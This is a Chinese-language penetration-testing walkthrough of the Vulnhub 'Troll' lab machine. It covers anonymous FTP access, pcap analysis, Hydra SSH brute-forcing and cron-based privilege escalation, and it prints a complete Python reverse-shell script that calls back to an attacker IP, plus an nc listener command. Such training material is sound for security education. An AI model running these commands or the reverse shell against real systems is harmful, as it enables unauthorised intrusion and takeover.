[Vulnhub] Troll FTP匿名登录+定时任务权限提升
字数 1125 2025-08-19 12:41:03

Vulnhub Troll靶机渗透测试教学文档

1. 信息收集阶段

1.1 主机发现与端口扫描

使用Nmap进行全端口扫描:

nmap -sC -sV 192.168.8.104 -p- --min-rate 1000

扫描结果:

  • 开放端口:
    • 21/tcp: FTP (vsftpd 3.0.2)
    • 22/tcp: SSH (OpenSSH 6.6.1p1 Ubuntu)
    • 80/tcp: HTTP (Apache 2.4.7)

1.2 服务详情分析

FTP服务分析

  • 允许匿名登录(FTP code 230)
  • 可写文件:lol.pcap (权限777)
  • 服务器信息:vsFTPd 3.0.2

HTTP服务分析

  • robots.txt中有一个禁止目录:/secret
  • 网站标题为空
  • 发现隐藏目录:/sup3rs3cr3tdirlol/

2. 渗透测试过程

2.1 FTP匿名登录

ftp 192.168.8.104
# 用户名输入anonymous,密码可为空

下载发现的pcap文件:

get lol.pcap

2.2 分析pcap文件

使用Wireshark分析lol.pcap文件:

  1. 发现HTTP流量
  2. 追踪TCP流发现提示信息:
    Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
    Sucks, you were so close... gotta TRY HARDER!
    
  3. 发现隐藏路径:http://192.168.8.104/sup3rs3cr3tdirlol/

2.3 Web目录枚举

访问发现的隐藏目录:

curl http://192.168.8.104/sup3rs3cr3tdirlol/

发现可能包含用户名和密码的文件

2.4 SSH爆破尝试

使用Hydra进行SSH爆破:

hydra -s 22 -v -V -L user.txt -p "Good_job_:)" -e n -t 1 -w 30 192.168.8.104 ssh

注意:

  • 服务器会检测爆破行为并封禁IP
  • 测试发现密码不正确

尝试其他密码文件:

ssh overflow@192.168.8.104
# 密码尝试:Pass.txt

成功登录,但两分钟后会被自动踢下线

2.5 本地信息收集

登录后查看本地文件:

cat Local.txt

内容:d637cc968971b87d5b575ddfe2d50408

3. 权限提升

3.1 查找定时任务

find / -name cleaner.py

发现路径:/lib/log/cleaner.py

3.2 分析定时任务脚本

查看脚本内容:

ls -la /lib/log/cleaner.py
nano /lib/log/cleaner.py

脚本内容:

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.8.107",10033));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty; 
pty.spawn("/bin/sh")

这是一个反向shell脚本,连接到攻击者的192.168.8.107主机的10033端口

3.3 利用定时任务提权

  1. 在攻击机上设置监听:
nc -lvnp 10033
  1. 等待定时任务执行(约两分钟)后获得root shell

3.4 获取root flag

cat /root/Proot

内容:76535a590a2cd3cc48faa472c3831914

4. 关键点总结

  1. FTP匿名登录:vsftpd允许匿名访问,发现关键pcap文件
  2. 网络流量分析:通过Wireshark分析pcap发现隐藏目录提示
  3. 目录枚举:发现隐藏路径/sup3rs3cr3tdirlol/获取凭据
  4. SSH登录:使用发现的凭据登录但会话有限制
  5. 定时任务利用:发现并利用cleaner.py脚本获取root权限

5. 防御建议

  1. 禁用FTP匿名登录
  2. 限制敏感目录的web访问权限
  3. 使用更复杂的SSH密码策略
  4. 监控和限制定时任务的执行权限
  5. 定期审计系统上的脚本和计划任务
Vulnhub Troll靶机渗透测试教学文档 1. 信息收集阶段 1.1 主机发现与端口扫描 使用Nmap进行全端口扫描: 扫描结果: 开放端口: 21/tcp: FTP (vsftpd 3.0.2) 22/tcp: SSH (OpenSSH 6.6.1p1 Ubuntu) 80/tcp: HTTP (Apache 2.4.7) 1.2 服务详情分析 FTP服务分析 允许匿名登录(FTP code 230) 可写文件: lol.pcap (权限777) 服务器信息:vsFTPd 3.0.2 HTTP服务分析 robots.txt中有一个禁止目录: /secret 网站标题为空 发现隐藏目录: /sup3rs3cr3tdirlol/ 2. 渗透测试过程 2.1 FTP匿名登录 下载发现的pcap文件: 2.2 分析pcap文件 使用Wireshark分析 lol.pcap 文件: 发现HTTP流量 追踪TCP流发现提示信息: 发现隐藏路径: http://192.168.8.104/sup3rs3cr3tdirlol/ 2.3 Web目录枚举 访问发现的隐藏目录: 发现可能包含用户名和密码的文件 2.4 SSH爆破尝试 使用Hydra进行SSH爆破: 注意: 服务器会检测爆破行为并封禁IP 测试发现密码不正确 尝试其他密码文件: 成功登录,但两分钟后会被自动踢下线 2.5 本地信息收集 登录后查看本地文件: 内容: d637cc968971b87d5b575ddfe2d50408 3. 权限提升 3.1 查找定时任务 发现路径: /lib/log/cleaner.py 3.2 分析定时任务脚本 查看脚本内容: 脚本内容: 这是一个反向shell脚本,连接到攻击者的192.168.8.107主机的10033端口 3.3 利用定时任务提权 在攻击机上设置监听: 等待定时任务执行(约两分钟)后获得root shell 3.4 获取root flag 内容: 76535a590a2cd3cc48faa472c3831914 4. 关键点总结 FTP匿名登录 :vsftpd允许匿名访问,发现关键pcap文件 网络流量分析 :通过Wireshark分析pcap发现隐藏目录提示 目录枚举 :发现隐藏路径 /sup3rs3cr3tdirlol/ 获取凭据 SSH登录 :使用发现的凭据登录但会话有限制 定时任务利用 :发现并利用 cleaner.py 脚本获取root权限 5. 防御建议 禁用FTP匿名登录 限制敏感目录的web访问权限 使用更复杂的SSH密码策略 监控和限制定时任务的执行权限 定期审计系统上的脚本和计划任务